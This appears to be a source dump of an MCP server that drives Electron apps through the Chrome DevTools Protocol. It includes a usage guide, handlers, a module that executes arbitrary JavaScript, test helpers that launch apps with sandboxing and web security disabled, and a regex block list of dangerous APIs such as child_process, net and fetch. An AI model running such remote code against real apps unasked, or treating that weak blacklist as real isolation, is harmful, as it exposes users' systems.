93 | ### ❌ Mistake 1: Wrong Argument Structure
94 |
95 | ```json
96 | // WRONG - causes "selector is empty" error
97 | {
98 | "command": "click_by_selector",
99 | "args": "button.submit"
100 | }
101 |
102 | // CORRECT
103 | {
104 | "command": "click_by_selector",
105 | "args": {
106 | "selector": "button.submit"
107 | }
108 | }
109 | ```
110 |
111 | ### ❌ Mistake 2: Using Complex Selectors Incorrectly
112 |
113 | ```json
114 | // WRONG - invalid CSS syntax
115 | {
116 | "command": "click_by_selector",
117 | "args": {
118 | "selector": "button:has-text('Create')"
119 | }
120 | }
121 |
122 | // CORRECT - use click_by_text instead
123 | {
124 | "command": "click_by_text",
125 | "args": {
126 | "text": "Create"
127 | }
128 | }
129 | ```
130 |
131 | ### ❌ Mistake 3: Not Handling React/Dynamic Content
132 |
133 | ```json
134 | // BETTER - wait and retry pattern
135 | {
136 | "command": "get_page_structure"
137 | }
138 | // Check if elements loaded, then:
139 | {
140 | "command": "click_by_selector",
141 | "args": {
142 | "selector": "button[data-testid='submit']"
143 | }
144 | }
145 | ```
146 |
147 | ## 🔄 Complete Workflow Examples
148 |
149 | ### Example 1: Creating a New Item in an App
150 |
151 | ```json
152 | // 1. Take a screenshot to see current state
153 | {
154 | "tool": "take_screenshot"
155 | }
156 |
157 | // 2. Understand the page structure
158 | {
159 | "tool": "send_command_to_electron",
160 | "args": {
161 | "command": "get_page_structure"
162 | }
163 | }
164 |
165 | // 3. Click the "Create" button
166 | {
167 | "tool": "send_command_to_electron",
168 | "args": {
169 | "command": "click_by_text",
170 | "args": {
171 | "text": "Create New"
172 | }
173 | }
174 | }
175 |
176 | // 4. Fill in the form
177 | {
178 | "tool": "send_command_to_electron",
179 | "args": {
180 | "command": "fill_input",
181 | "args": {
182 | "placeholder": "Enter name",
183 | "value": "My New Item"
184 | }
185 | }
186 | }
187 |
188 | // 5. Submit the form
189 | {
190 | "tool": "send_command_to_electron",
191 | "args": {
192 | "command": "click_by_selector",
193 | "args": {
194 | "selector": "button[type='submit']"
195 | }
196 | }
197 | }
198 |
199 | // 6. Verify success
200 | {
201 | "tool": "take_screenshot"
202 | }
203 | ```
204 |
205 | ### Example 2: Debugging Element Issues
206 |
207 | ```json
208 | // 1. Get all button information
209 | {
210 | "tool": "send_command_to_electron",
211 | "args": {
212 | "command": "debug_elements"
213 | }
214 | }
215 |
216 | // 2. Check specific element properties
217 | {
218 | "tool": "send_command_to_electron",
219 | "args": {
220 | "command": "eval",
221 | "args": {
222 | "code": "Array.from(document.querySelectorAll('button')).map(btn => ({text: btn.textContent, classes: btn.className, visible: btn.offsetParent !== null}))"
223 | }
224 | }
225 | }
226 |
227 | // 3. Try alternative targeting method
228 | {
229 | "tool": "send_command_to_electron",
230 | "args": {
231 | "command": "click_by_text",
232 | "args": {
233 | "text": "Submit"
234 | }
235 | }
236 | }
237 | ```
238 |
239 | ## 💡 Best Practices
240 |
241 | ### 1. Always Verify Element Existence
242 |
243 | ```json
244 | {
245 | "command": "eval",
246 | "args": {
247 | "code": "document.querySelector('button.submit') ? 'Element exists' : 'Element not found'"
248 | }
249 | }
250 | ```
251 |
252 | ### 2. Use Text-Based Targeting When Possible
253 |
254 | Text-based targeting is more resilient to UI changes:
255 |
256 | ```json
257 | {
258 | "command": "click_by_text",
259 | "args": {
260 | "text": "Save"
261 | }
262 | }
263 | ```
264 |
265 | ### 3. Fallback Strategies
266 |
267 | ```json
268 | // Try text first
269 | {
270 | "command": "click_by_text",
271 | "args": {
272 | "text": "Submit"
273 | }
274 | }
275 |
276 | // If that fails, try selector
277 | {
278 | "command": "click_by_selector",
279 | "args": {
280 | "selector": "button[type='submit']"
281 | }
282 | }
283 | ```
284 |
285 | ### 4. Handle Dynamic Content
286 |
287 | ```json
288 | // Check if content is loaded
289 | {
290 | "command": "eval",
291 | "args": {
292 | "code": "document.querySelector('.loading') ? 'Still loading' : 'Ready'"
293 | }
294 | }
295 | ```
296 |
297 | ## 🛠️ Security Considerations
298 |
299 | ### Safe JavaScript Execution
300 |
301 | ```json
302 | // SAFE - simple property access
303 | {
304 | "command": "eval",
305 | "args": {
306 | "code": "document.title"
307 | }
308 | }
309 |
310 | // AVOID - complex operations that might be blocked
311 | {
312 | "command": "eval",
313 | "args": {
314 | "code": "fetch('/api/data').then(r => r.json())"
315 | }
316 | }
317 | ```
318 |
319 | ### Use Built-in Commands
320 |
321 | Prefer built-in commands over eval when possible:
322 |
323 | ```json
324 | // BETTER
325 | {
326 | "command": "get_title"
327 | }
328 |
329 | // INSTEAD OF
330 | {
331 | "command": "eval",
332 | "args": {
333 | "code": "document.title"
334 | }
335 | }
336 | ```
337 |
338 | ## 📝 Tool Reference Summary
339 |
340 | | Tool | Purpose | Key Arguments |
341 | | -------------------------- | -------------- | ------------------------------------------- |
342 | | `get_electron_window_info` | Get app info | `includeChildren: boolean` |
343 | | `take_screenshot` | Capture screen | `windowTitle?: string, outputPath?: string` |
344 | | `send_command_to_electron` | UI interaction | `command: string, args: object` |
345 | | `read_electron_logs` | View logs | `logType?: string, lines?: number` |
346 |
347 | Remember: Always structure arguments as objects with the appropriate properties for each command!
348 |
```
--------------------------------------------------------------------------------
/src/handlers.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { CallToolRequestSchema } from '@modelcontextprotocol/sdk/types';
2 | import { z } from 'zod';
3 | import { ToolName } from './tools';
4 | import {
5 | SendCommandToElectronSchema,
6 | TakeScreenshotSchema,
7 | ReadElectronLogsSchema,
8 | GetElectronWindowInfoSchema,
9 | } from './schemas';
10 | import { sendCommandToElectron } from './utils/electron-enhanced-commands';
11 | import { getElectronWindowInfo } from './utils/electron-discovery';
12 | import { readElectronLogs } from './utils/electron-logs';
13 | import { takeScreenshot } from './screenshot';
14 | import { logger } from './utils/logger';
15 | import { securityManager } from './security/manager';
16 |
17 | export async function handleToolCall(request: z.infer<typeof CallToolRequestSchema>) {
18 | const { name, arguments: args } = request.params;
19 |
20 | // Extract request metadata for security logging
21 | const sourceIP = (request as any).meta?.sourceIP;
22 | const userAgent = (request as any).meta?.userAgent;
23 |
24 | try {
25 | switch (name) {
26 | case ToolName.GET_ELECTRON_WINDOW_INFO: {
27 | // This is a low-risk read operation - basic validation only
28 | const { includeChildren } = GetElectronWindowInfoSchema.parse(args);
29 |
30 | const securityResult = await securityManager.executeSecurely({
31 | command: 'get_window_info',
32 | args,
33 | sourceIP,
34 | userAgent,
35 | operationType: 'window_info',
36 | });
37 |
38 | if (securityResult.blocked) {
39 | return {
40 | content: [
41 | {
42 | type: 'text',
43 | text: `Operation blocked: ${securityResult.error}`,
44 | },
45 | ],
46 | isError: true,
47 | };
48 | }
49 |
50 | const result = await getElectronWindowInfo(includeChildren);
51 | return {
52 | content: [
53 | {
54 | type: 'text',
55 | text: `Window Information:\n\n${JSON.stringify(result, null, 2)}`,
56 | },
57 | ],
58 | isError: false,
59 | };
60 | }
61 |
62 | case ToolName.TAKE_SCREENSHOT: {
63 | // Security check for screenshot operation
64 | const securityResult = await securityManager.executeSecurely({
65 | command: 'take_screenshot',
66 | args,
67 | sourceIP,
68 | userAgent,
69 | operationType: 'screenshot',
70 | });
71 |
72 | if (securityResult.blocked) {
73 | return {
74 | content: [
75 | {
76 | type: 'text',
77 | text: `Screenshot blocked: ${securityResult.error}`,
78 | },
79 | ],
80 | isError: true,
81 | };
82 | }
83 | const { outputPath, windowTitle } = TakeScreenshotSchema.parse(args);
84 | const result = await takeScreenshot(outputPath, windowTitle);
85 |
86 | // Return the screenshot as base64 data for AI to evaluate
87 | const content: any[] = [];
88 |
89 | if (result.filePath) {
90 | content.push({
91 | type: 'text',
92 | text: `Screenshot saved to: ${result.filePath}`,
93 | });
94 | } else {
95 | content.push({
96 | type: 'text',
97 | text: 'Screenshot captured in memory (no file saved)',
98 | });
99 | }
100 |
101 | // Add the image data for AI evaluation
102 | content.push({
103 | type: 'image',
104 | data: result.base64!,
105 | mimeType: 'image/png',
106 | });
107 |
108 | return { content, isError: false };
109 | }
110 |
111 | case ToolName.SEND_COMMAND_TO_ELECTRON: {
112 | const { command, args: commandArgs } = SendCommandToElectronSchema.parse(args);
113 |
114 | // Execute command through security manager
115 | const securityResult = await securityManager.executeSecurely({
116 | command,
117 | args: commandArgs,
118 | sourceIP,
119 | userAgent,
120 | operationType: 'command',
121 | });
122 |
123 | if (securityResult.blocked) {
124 | return {
125 | content: [
126 | {
127 | type: 'text',
128 | text: `Command blocked: ${securityResult.error}\nRisk Level: ${securityResult.riskLevel}`,
129 | },
130 | ],
131 | isError: true,
132 | };
133 | }
134 |
135 | if (!securityResult.success) {
136 | return {
137 | content: [
138 | {
139 | type: 'text',
140 | text: `Command failed: ${securityResult.error}`,
141 | },
142 | ],
143 | isError: true,
144 | };
145 | }
146 |
147 | // Execute the actual command if security checks pass
148 | const result = await sendCommandToElectron(command, commandArgs);
149 | return {
150 | content: [{ type: 'text', text: result }],
151 | isError: false,
152 | };
153 | }
154 |
155 | case ToolName.READ_ELECTRON_LOGS: {
156 | const { logType, lines, follow } = ReadElectronLogsSchema.parse(args);
157 | const logs = await readElectronLogs(logType, lines);
158 |
159 | if (follow) {
160 | return {
161 | content: [
162 | {
163 | type: 'text',
164 | text: `Following logs (${logType}). This is a snapshot of recent logs:\n\n${logs}`,
165 | },
166 | ],
167 | isError: false,
168 | };
169 | }
170 |
171 | return {
172 | content: [
173 | {
174 | type: 'text',
175 | text: `Electron logs (${logType}):\n\n${logs}`,
176 | },
177 | ],
178 | isError: false,
179 | };
180 | }
181 |
182 | default:
183 | return {
184 | content: [
185 | {
186 | type: 'text',
187 | text: `Unknown tool: ${name}`,
188 | },
189 | ],
190 | isError: true,
191 | };
192 | }
193 | } catch (error) {
194 | const errorMessage = error instanceof Error ? error.message : String(error);
195 | const errorStack = error instanceof Error ? error.stack : undefined;
196 |
197 | logger.error(`Tool execution failed: ${name}`, {
198 | error: errorMessage,
199 | stack: errorStack,
200 | args,
201 | });
202 |
203 | return {
204 | content: [
205 | {
206 | type: 'text',
207 | text: `Error executing ${name}: ${errorMessage}`,
208 | },
209 | ],
210 | isError: true,
211 | };
212 | }
213 | }
214 |
```
--------------------------------------------------------------------------------
/src/utils/electron-connection.ts:
--------------------------------------------------------------------------------
```typescript
1 | import WebSocket from 'ws';
2 | import { scanForElectronApps, findMainTarget } from './electron-discovery';
3 | import { logger } from './logger';
4 |
5 | export interface DevToolsTarget {
6 | id: string;
7 | title: string;
8 | url: string;
9 | webSocketDebuggerUrl: string;
10 | type: string;
11 | }
12 |
13 | export interface CommandResult {
14 | success: boolean;
15 | result?: any;
16 | error?: string;
17 | message: string;
18 | }
19 |
20 | /**
21 | * Find and connect to a running Electron application
22 | */
23 | export async function findElectronTarget(): Promise<DevToolsTarget> {
24 | logger.debug('Looking for running Electron applications...');
25 |
26 | const foundApps = await scanForElectronApps();
27 |
28 | if (foundApps.length === 0) {
29 | throw new Error(
30 | 'No running Electron application found with remote debugging enabled. Start your app with: electron . --remote-debugging-port=9222',
31 | );
32 | }
33 |
34 | const app = foundApps[0];
35 | const mainTarget = findMainTarget(app.targets);
36 |
37 | if (!mainTarget) {
38 | throw new Error('No suitable target found in Electron application');
39 | }
40 |
41 | logger.debug(`Found Electron app on port ${app.port}: ${mainTarget.title}`);
42 |
43 | return {
44 | id: mainTarget.id,
45 | title: mainTarget.title,
46 | url: mainTarget.url,
47 | webSocketDebuggerUrl: mainTarget.webSocketDebuggerUrl,
48 | type: mainTarget.type,
49 | };
50 | }
51 |
52 | /**
53 | * Execute JavaScript code in an Electron application via Chrome DevTools Protocol
54 | */
55 | export async function executeInElectron(
56 | javascriptCode: string,
57 | target?: DevToolsTarget,
58 | ): Promise<string> {
59 | const targetInfo = target || (await findElectronTarget());
60 |
61 | if (!targetInfo.webSocketDebuggerUrl) {
62 | throw new Error('No WebSocket debugger URL available');
63 | }
64 |
65 | return new Promise((resolve, reject) => {
66 | const ws = new WebSocket(targetInfo.webSocketDebuggerUrl);
67 | const messageId = Math.floor(Math.random() * 1000000);
68 |
69 | const timeout = setTimeout(() => {
70 | ws.close();
71 | reject(new Error('Command execution timeout (10s)'));
72 | }, 10000);
73 |
74 | ws.on('open', () => {
75 | logger.debug(`Connected to ${targetInfo.title} via WebSocket`);
76 |
77 | // Enable Runtime domain first
78 | ws.send(
79 | JSON.stringify({
80 | id: 1,
81 | method: 'Runtime.enable',
82 | }),
83 | );
84 |
85 | // Send Runtime.evaluate command
86 | const message = {
87 | id: messageId,
88 | method: 'Runtime.evaluate',
89 | params: {
90 | expression: javascriptCode,
91 | returnByValue: true,
92 | awaitPromise: false,
93 | },
94 | };
95 |
96 | logger.debug(`Executing JavaScript code...`);
97 | ws.send(JSON.stringify(message));
98 | });
99 |
100 | ws.on('message', (data) => {
101 | try {
102 | const response = JSON.parse(data.toString());
103 |
104 | // Filter out noisy CDP events to reduce log spam
105 | const FILTERED_CDP_METHODS = [
106 | 'Runtime.executionContextCreated',
107 | 'Runtime.consoleAPICalled',
108 | 'Console.messageAdded',
109 | 'Page.frameNavigated',
110 | 'Page.loadEventFired',
111 | ];
112 |
113 | // Only log CDP events if debug level is enabled and they're not filtered
114 | if (
115 | logger.isEnabled(3) &&
116 | (!response.method || !FILTERED_CDP_METHODS.includes(response.method))
117 | ) {
118 | logger.debug(`CDP Response for message ${messageId}:`, JSON.stringify(response, null, 2));
119 | }
120 |
121 | if (response.id === messageId) {
122 | clearTimeout(timeout);
123 | ws.close();
124 |
125 | if (response.error) {
126 | logger.error(`DevTools Protocol error:`, response.error);
127 | reject(new Error(`DevTools Protocol error: ${response.error.message}`));
128 | } else if (response.result) {
129 | const result = response.result.result;
130 | logger.debug(`Execution result type: ${result?.type}, value:`, result?.value);
131 |
132 | if (result.type === 'string') {
133 | resolve(`✅ Command executed: ${result.value}`);
134 | } else if (result.type === 'number') {
135 | resolve(`✅ Result: ${result.value}`);
136 | } else if (result.type === 'boolean') {
137 | resolve(`✅ Result: ${result.value}`);
138 | } else if (result.type === 'undefined') {
139 | resolve(`✅ Command executed successfully`);
140 | } else if (result.type === 'object') {
141 | if (result.value === null) {
142 | resolve(`✅ Result: null`);
143 | } else if (result.value === undefined) {
144 | resolve(`✅ Result: undefined`);
145 | } else {
146 | try {
147 | resolve(`✅ Result: ${JSON.stringify(result.value, null, 2)}`);
148 | } catch {
149 | resolve(
150 | `✅ Result: [Object - could not serialize: ${
151 | result.className || result.objectId || 'unknown'
152 | }]`,
153 | );
154 | }
155 | }
156 | } else {
157 | resolve(`✅ Result type ${result.type}: ${result.description || 'no description'}`);
158 | }
159 | } else {
160 | logger.debug(`No result in response:`, response);
161 | resolve(`✅ Command sent successfully`);
162 | }
163 | }
164 | } catch (error) {
165 | // Only treat parsing errors as warnings, not errors
166 | logger.warn(`Failed to parse CDP response:`, error);
167 | }
168 | });
169 |
170 | ws.on('error', (error) => {
171 | clearTimeout(timeout);
172 | reject(new Error(`WebSocket error: ${error.message}`));
173 | });
174 | });
175 | }
176 |
177 | /**
178 | * Connect to Electron app for real-time log monitoring
179 | */
180 | export async function connectForLogs(
181 | target?: DevToolsTarget,
182 | onLog?: (log: string) => void,
183 | ): Promise<WebSocket> {
184 | const targetInfo = target || (await findElectronTarget());
185 |
186 | if (!targetInfo.webSocketDebuggerUrl) {
187 | throw new Error('No WebSocket debugger URL available for log connection');
188 | }
189 |
190 | return new Promise((resolve, reject) => {
191 | const ws = new WebSocket(targetInfo.webSocketDebuggerUrl);
192 |
193 | ws.on('open', () => {
194 | logger.debug(`Connected for log monitoring to: ${targetInfo.title}`);
195 |
196 | // Enable Runtime and Console domains
197 | ws.send(JSON.stringify({ id: 1, method: 'Runtime.enable' }));
198 | ws.send(JSON.stringify({ id: 2, method: 'Console.enable' }));
199 |
200 | resolve(ws);
201 | });
202 |
203 | ws.on('message', (data) => {
204 | try {
205 | const response = JSON.parse(data.toString());
206 |
207 | if (response.method === 'Console.messageAdded') {
208 | const msg = response.params.message;
209 | const timestamp = new Date().toISOString();
210 | const logEntry = `[${timestamp}] ${msg.level.toUpperCase()}: ${msg.text}`;
211 | onLog?.(logEntry);
212 | } else if (response.method === 'Runtime.consoleAPICalled') {
213 | const call = response.params;
214 | const timestamp = new Date().toISOString();
215 | const args = call.args?.map((arg: any) => arg.value || arg.description).join(' ') || '';
216 | const logEntry = `[${timestamp}] ${call.type.toUpperCase()}: ${args}`;
217 | onLog?.(logEntry);
218 | }
219 | } catch (error) {
220 | logger.warn(`Failed to parse log message:`, error);
221 | }
222 | });
223 |
224 | ws.on('error', (error) => {
225 | reject(new Error(`WebSocket error: ${error.message}`));
226 | });
227 | });
228 | }
229 |
```
--------------------------------------------------------------------------------
/tests/support/helpers.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { rmSync, existsSync, readdirSync, statSync, writeFileSync, mkdirSync } from 'fs';
2 | import { join, basename } from 'path';
3 | import { logger } from '../../src/utils/logger';
4 | import { TEST_CONFIG, createElectronAppPath } from './config';
5 | import { spawn, ChildProcess } from 'child_process';
6 | import { createServer } from 'net';
7 |
8 | export interface TestElectronApp {
9 | port: number;
10 | process: ChildProcess;
11 | appPath: string;
12 | cleanup: () => Promise<void>;
13 | }
14 |
15 | export interface CleanupOptions {
16 | removeLogsDir?: boolean;
17 | removeTempDir?: boolean;
18 | preserveKeys?: boolean;
19 | }
20 |
21 | /**
22 | * Consolidated test helpers and utilities
23 | */
24 | export class TestHelpers {
25 | /**
26 | * Create and start a test Electron application
27 | */
28 | static async createTestElectronApp(): Promise<TestElectronApp> {
29 | const port = await this.findAvailablePort();
30 | const appPath = createElectronAppPath(port);
31 |
32 | // Create app directory and files
33 | mkdirSync(appPath, { recursive: true });
34 |
35 | // Create package.json
36 | const packageJson = {
37 | name: 'test-electron-app',
38 | version: '1.0.0',
39 | main: 'main.js',
40 | scripts: {
41 | start: 'electron .',
42 | },
43 | };
44 | writeFileSync(join(appPath, 'package.json'), JSON.stringify(packageJson, null, 2));
45 |
46 | // Create main.js
47 | const mainJs = `
48 | const { app, BrowserWindow } = require('electron');
49 | const path = require('path');
50 |
51 | let mainWindow;
52 |
53 | app.commandLine.appendSwitch('remote-debugging-port', '${port}');
54 | app.commandLine.appendSwitch('no-sandbox');
55 | app.commandLine.appendSwitch('disable-web-security');
56 |
57 | function createWindow() {
58 | mainWindow = new BrowserWindow({
59 | width: 800,
60 | height: 600,
61 | show: false, // Keep hidden for testing
62 | webPreferences: {
63 | nodeIntegration: true,
64 | contextIsolation: false
65 | }
66 | });
67 |
68 | mainWindow.setTitle('${TEST_CONFIG.ELECTRON.WINDOW_TITLE}');
69 | mainWindow.loadFile('index.html');
70 |
71 | mainWindow.webContents.once('did-finish-load', () => {
72 | console.log('[TEST-APP] Window ready, staying hidden for testing');
73 | });
74 | }
75 |
76 | app.whenReady().then(() => {
77 | createWindow();
78 | console.log('[TEST-APP] Electron app ready with remote debugging on port ${port}');
79 | });
80 |
81 | app.on('window-all-closed', () => {
82 | if (process.platform !== 'darwin') {
83 | app.quit();
84 | }
85 | });
86 | `;
87 | writeFileSync(join(appPath, 'main.js'), mainJs);
88 |
89 | // Create index.html
90 | writeFileSync(join(appPath, 'index.html'), TEST_CONFIG.ELECTRON.HTML_CONTENT);
91 |
92 | // Start the Electron process
93 | const electronProcess = spawn('npx', ['electron', '.'], {
94 | cwd: appPath,
95 | stdio: ['pipe', 'pipe', 'pipe'],
96 | });
97 |
98 | const app: TestElectronApp = {
99 | port,
100 | process: electronProcess,
101 | appPath,
102 | cleanup: async () => {
103 | electronProcess.kill();
104 | if (existsSync(appPath)) {
105 | rmSync(appPath, { recursive: true, force: true });
106 | }
107 | },
108 | };
109 |
110 | // Wait for app to be ready
111 | await this.waitForElectronApp(app);
112 |
113 | return app;
114 | }
115 |
116 | /**
117 | * Wait for Electron app to be ready for testing
118 | */
119 | static async waitForElectronApp(
120 | app: TestElectronApp,
121 | timeout = TEST_CONFIG.TIMEOUTS.ELECTRON_START,
122 | ): Promise<void> {
123 | return new Promise((resolve, reject) => {
124 | const startTime = Date.now();
125 |
126 | const checkReady = async () => {
127 | try {
128 | const response = await fetch(`http://localhost:${app.port}/json`);
129 | if (response.ok) {
130 | logger.info(`✅ Test Electron app ready for integration and security testing`);
131 | resolve();
132 | return;
133 | }
134 | } catch {
135 | // App not ready yet
136 | }
137 |
138 | if (Date.now() - startTime > timeout) {
139 | reject(new Error(`Electron app failed to start within ${timeout}ms`));
140 | return;
141 | }
142 |
143 | setTimeout(checkReady, 100);
144 | };
145 |
146 | checkReady();
147 | });
148 | }
149 |
150 | /**
151 | * Find an available port in the configured range
152 | */
153 | private static async findAvailablePort(): Promise<number> {
154 | const [start, end] = TEST_CONFIG.ELECTRON.DEFAULT_PORT_RANGE;
155 |
156 | for (let port = start; port <= end; port++) {
157 | if (await this.isPortAvailable(port)) {
158 | return port;
159 | }
160 | }
161 |
162 | throw new Error(`No available ports in range ${start}-${end}`);
163 | }
164 |
165 | /**
166 | * Check if a port is available
167 | */
168 | private static async isPortAvailable(port: number): Promise<boolean> {
169 | return new Promise((resolve) => {
170 | const server = createServer();
171 |
172 | server.listen(port, () => {
173 | server.close(() => resolve(true));
174 | });
175 |
176 | server.on('error', () => resolve(false));
177 | });
178 | }
179 |
180 | /**
181 | * Clean up test artifacts and temporary files
182 | */
183 | static async cleanup(options: CleanupOptions = {}): Promise<void> {
184 | const { removeLogsDir = true, removeTempDir = true, preserveKeys = false } = options;
185 |
186 | try {
187 | // Clean up logs directory
188 | if (removeLogsDir && existsSync(basename(TEST_CONFIG.PATHS.LOGS_DIR))) {
189 | if (preserveKeys) {
190 | this.cleanupLogsPreservingKeys();
191 | } else {
192 | rmSync(basename(TEST_CONFIG.PATHS.LOGS_DIR), { recursive: true, force: true });
193 | logger.info(`🧹 Cleaned up logs directory`);
194 | }
195 | }
196 |
197 | // Clean up temp directories
198 | if (removeTempDir) {
199 | [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach(
200 | (dir) => {
201 | if (existsSync(dir)) {
202 | rmSync(dir, { recursive: true, force: true });
203 | logger.info(`🧹 Cleaned up ${dir} directory`);
204 | }
205 | },
206 | );
207 | }
208 | } catch (error) {
209 | logger.error('Failed to cleanup test artifacts:', error);
210 | }
211 | }
212 |
213 | /**
214 | * Clean up only log files while preserving encryption keys
215 | */
216 | private static cleanupLogsPreservingKeys(): void {
217 | try {
218 | const securityDir = join(basename(TEST_CONFIG.PATHS.LOGS_DIR), 'security');
219 | if (existsSync(securityDir)) {
220 | const files = readdirSync(securityDir);
221 |
222 | files.forEach((file: string) => {
223 | if (file.endsWith('.log')) {
224 | const filePath = join(securityDir, file);
225 | rmSync(filePath, { force: true });
226 | logger.info(`🧹 Cleaned up log file: ${filePath}`);
227 | }
228 | });
229 | }
230 | } catch (error) {
231 | logger.error('Failed to cleanup log files:', error);
232 | }
233 | }
234 |
235 | /**
236 | * Get size of artifacts that would be cleaned up
237 | */
238 | static getCleanupSize(): { logs: number; temp: number; total: number } {
239 | let logsSize = 0;
240 | let tempSize = 0;
241 |
242 | try {
243 | const logsDir = basename(TEST_CONFIG.PATHS.LOGS_DIR);
244 | if (existsSync(logsDir)) {
245 | logsSize = this.getDirectorySize(logsDir);
246 | }
247 |
248 | [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach(
249 | (dir) => {
250 | if (existsSync(dir)) {
251 | tempSize += this.getDirectorySize(dir);
252 | }
253 | },
254 | );
255 | } catch (error) {
256 | logger.error('Failed to calculate cleanup size:', error);
257 | }
258 |
259 | return {
260 | logs: logsSize,
261 | temp: tempSize,
262 | total: logsSize + tempSize,
263 | };
264 | }
265 |
266 | /**
267 | * Calculate directory size in bytes
268 | */
269 | private static getDirectorySize(dirPath: string): number {
270 | let totalSize = 0;
271 |
272 | try {
273 | const items = readdirSync(dirPath);
274 |
275 | for (const item of items) {
276 | const itemPath = join(dirPath, item);
277 | const stats = statSync(itemPath);
278 |
279 | if (stats.isDirectory()) {
280 | totalSize += this.getDirectorySize(itemPath);
281 | } else {
282 | totalSize += stats.size;
283 | }
284 | }
285 | } catch (_error) {
286 | // Directory might not exist or be accessible
287 | }
288 |
289 | return totalSize;
290 | }
291 |
292 | /**
293 | * Create a proper MCP request format for testing
294 | */
295 | static createMCPRequest(toolName: string, args: any = {}) {
296 | return {
297 | method: 'tools/call' as const,
298 | params: {
299 | name: toolName,
300 | arguments: args,
301 | },
302 | };
303 | }
304 | }
305 |
```
--------------------------------------------------------------------------------
/src/security/sandbox.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { spawn } from 'child_process';
2 | import { promises as fs } from 'fs';
3 | import { join } from 'path';
4 | import { randomUUID } from 'crypto';
5 | import { logger } from '../utils/logger';
6 |
7 | export interface SandboxOptions {
8 | timeout?: number;
9 | maxMemory?: number;
10 | allowedModules?: string[];
11 | blacklistedFunctions?: string[];
12 | }
13 |
14 | export interface SandboxResult {
15 | success: boolean;
16 | result?: any;
17 | error?: string;
18 | executionTime: number;
19 | memoryUsed?: number;
20 | }
21 |
22 | const DEFAULT_BLACKLISTED_FUNCTIONS = [
23 | 'eval',
24 | 'Function',
25 | 'setTimeout',
26 | 'setInterval',
27 | 'setImmediate',
28 | 'require',
29 | 'import',
30 | 'process',
31 | 'global',
32 | 'globalThis',
33 | '__dirname',
34 | '__filename',
35 | 'Buffer',
36 | 'XMLHttpRequest',
37 | 'fetch',
38 | 'WebSocket',
39 | 'Worker',
40 | 'SharedWorker',
41 | 'ServiceWorker',
42 | 'importScripts',
43 | 'postMessage',
44 | 'close',
45 | 'open',
46 | ];
47 |
48 | const DEFAULT_BLACKLISTED_OBJECTS = [
49 | 'fs',
50 | 'child_process',
51 | 'cluster',
52 | 'crypto',
53 | 'dgram',
54 | 'dns',
55 | 'http',
56 | 'https',
57 | 'net',
58 | 'os',
59 | 'path',
60 | 'stream',
61 | 'tls',
62 | 'url',
63 | 'util',
64 | 'v8',
65 | 'vm',
66 | 'worker_threads',
67 | 'zlib',
68 | 'perf_hooks',
69 | 'inspector',
70 | 'repl',
71 | 'readline',
72 | 'domain',
73 | 'events',
74 | 'querystring',
75 | 'punycode',
76 | 'constants',
77 | ];
78 |
79 | export class CodeSandbox {
80 | private options: Required<SandboxOptions>;
81 |
82 | constructor(options: SandboxOptions = {}) {
83 | this.options = {
84 | timeout: options.timeout || 5000,
85 | maxMemory: options.maxMemory || 50 * 1024 * 1024, // 50MB
86 | allowedModules: options.allowedModules || [],
87 | blacklistedFunctions: [
88 | ...DEFAULT_BLACKLISTED_FUNCTIONS,
89 | ...(options.blacklistedFunctions || []),
90 | ],
91 | };
92 | }
93 |
94 | async executeCode(code: string): Promise<SandboxResult> {
95 | const startTime = Date.now();
96 | const sessionId = randomUUID();
97 |
98 | logger.info(`Starting sandboxed execution [${sessionId}]`);
99 |
100 | try {
101 | // Validate code before execution
102 | const validation = this.validateCode(code);
103 | if (!validation.isValid) {
104 | return {
105 | success: false,
106 | error: `Code validation failed: ${validation.errors.join(', ')}`,
107 | executionTime: Date.now() - startTime,
108 | };
109 | }
110 |
111 | // Create isolated execution environment
112 | const result = await this.executeInIsolation(code, sessionId);
113 |
114 | const executionTime = Date.now() - startTime;
115 | logger.info(`Sandboxed execution completed [${sessionId}] in ${executionTime}ms`);
116 |
117 | return {
118 | success: true,
119 | result: result,
120 | executionTime,
121 | };
122 | } catch (error) {
123 | const executionTime = Date.now() - startTime;
124 | logger.error(`Sandboxed execution failed [${sessionId}]:`, error);
125 |
126 | return {
127 | success: false,
128 | error: error instanceof Error ? error.message : String(error),
129 | executionTime,
130 | };
131 | }
132 | }
133 |
134 | private validateCode(code: string): { isValid: boolean; errors: string[] } {
135 | const errors: string[] = [];
136 |
137 | // Check for blacklisted functions
138 | for (const func of this.options.blacklistedFunctions) {
139 | const regex = new RegExp(`\\b${func}\\s*\\(`, 'g');
140 | if (regex.test(code)) {
141 | errors.push(`Forbidden function: ${func}`);
142 | }
143 | }
144 |
145 | // Check for blacklisted objects
146 | for (const obj of DEFAULT_BLACKLISTED_OBJECTS) {
147 | const regex = new RegExp(`\\b${obj}\\b`, 'g');
148 | if (regex.test(code)) {
149 | errors.push(`Forbidden module/object: ${obj}`);
150 | }
151 | }
152 |
153 | // Check for dangerous patterns
154 | const dangerousPatterns = [
155 | /require\s*\(/g,
156 | /import\s+.*\s+from/g,
157 | /\.constructor/g,
158 | /\.__proto__/g,
159 | /prototype\./g,
160 | /process\./g,
161 | /global\./g,
162 | /this\.constructor/g,
163 | /\[\s*['"`]constructor['"`]\s*\]/g,
164 | /\[\s*['"`]__proto__['"`]\s*\]/g,
165 | /Function\s*\(/g,
166 | /eval\s*\(/g,
167 | /window\./g,
168 | /document\./g,
169 | /location\./g,
170 | /history\./g,
171 | /navigator\./g,
172 | /alert\s*\(/g,
173 | /confirm\s*\(/g,
174 | /prompt\s*\(/g,
175 | ];
176 |
177 | for (const pattern of dangerousPatterns) {
178 | if (pattern.test(code)) {
179 | errors.push(`Dangerous pattern detected: ${pattern.source}`);
180 | }
181 | }
182 |
183 | return {
184 | isValid: errors.length === 0,
185 | errors,
186 | };
187 | }
188 |
189 | private async executeInIsolation(code: string, sessionId: string): Promise<any> {
190 | // Create a secure wrapper script
191 | const wrapperCode = this.createSecureWrapper(code);
192 |
193 | // Write to temporary file
194 | const tempDir = join(process.cwd(), 'temp', sessionId);
195 | await fs.mkdir(tempDir, { recursive: true });
196 | const scriptPath = join(tempDir, 'script.cjs'); // Use .cjs for CommonJS
197 |
198 | try {
199 | await fs.writeFile(scriptPath, wrapperCode);
200 |
